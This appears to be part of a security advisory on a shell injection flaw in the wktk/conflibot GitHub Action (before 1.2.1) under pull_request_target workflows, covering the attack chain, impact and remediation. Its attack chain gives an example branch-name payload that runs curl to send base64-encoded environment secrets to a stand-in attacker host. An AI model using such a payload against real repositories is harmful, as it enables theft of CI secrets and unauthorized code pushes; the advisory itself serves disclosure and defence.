When configured with the pull_request_target event, the GitHub Actions runner executes this malicious code with the base repository's context. This grants the attacker access to repository secrets and a write-scoped GITHUB_TOKEN. Exploitation requires no maintainer interaction and can be performed by any user capable of opening a pull request, including from a fork. This vulnerability allows for immediate secret exfiltration, unauthorized commits to the repository, or lateral movement within the CI/CD pipeline.

Attack Chain

1. Attacker identifies a target repository utilizing wktk/conflibot versions prior to 1.2.1 in a workflow triggered by pull_request_target.
2. Attacker creates a fork of the target repository.
3. Attacker creates a new branch in the fork with a name containing shell injection payloads (e.g., $(curl attacker.com/$(env | base64))).
4. Attacker opens a pull request from the malicious branch to the target repository.
5. The target repository's CI workflow is triggered by the pull_request_target event.
6. conflibot invokes the vulnerable shell command, interpolating the malicious branch name into the command string.
7. The runner executes the injected command with the privileges of the repository's GITHUB_TOKEN.
8. Attacker captures exfiltrated secrets or uses the write token to modify the repository source code.

Impact

Successful exploitation allows unauthenticated attackers to execute arbitrary commands on GitHub-hosted runners. This results in the compromise of repository secrets, exposure of environment variables, and the ability to push malicious code to the base repository. Given the nature of pull_request_target workflows, this impacts any organization using conflibot to automate repository management, potentially affecting thousands of projects.

Recommendation

• Upgrade wktk/conflibot to version 1.2.1 or 2.0.0 immediately.
• Review workflows currently using pull_request_target for any usage of wktk/conflibot to assess potential prior secret compromise.
• Rotate all repository secrets and personal access tokens that were accessible to the compromised workflow if the repository has been targeted.
• If immediate patching is not possible, disable the affected workflow entirely until the upgrade can be performed.